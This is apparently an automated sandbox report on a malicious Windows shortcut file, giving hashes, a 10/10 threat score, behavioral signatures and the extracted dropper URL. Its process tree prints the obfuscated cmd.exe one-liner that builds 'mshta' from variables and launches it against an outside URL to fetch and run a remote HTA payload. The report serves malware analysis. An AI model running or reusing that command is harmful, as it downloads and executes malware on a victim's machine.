Analysis
- max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:20
Static task
static1
Behavioral task
behavioral1
Sample
DOC-3IBQGZ.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-3IBQGZ.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-3IBQGZ.lnk
- Size 1KB
- Sample260804-j8tk9avdqb
- SHA256 e0b8118999047c5bf778cc10b9871cc689da69282ebd918e77d26f6062e9db1e
- MD5 2f5254d2585103a0d17cbdfba03c425d
- SHA1 7faed5861bcd20016aed22eb55239451a36686af
- SHA512 21ee1088b089689c9fba0ab75ce14a2b301a17de34ec7b6ead2ab6bafedf35b5e0fcb3ff7eaeabe90373fa6f2d05a61b7db80a84a153ba15b7f388859406f649
- TLSH T1A83147503FFD0624F3F38F7799BB572485BAB8958D24CA2E0141464C5032A15E17AF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4448 cmd.exe 4800 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4448 wrote to memory of 4800 4448 cmd.exe 87 PID 4800 wrote to memory of 2128 4800 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3IBQGZ.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set AE=msh&&set DQpve=ta&&start "" !AE!!DQpve! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2128
-
-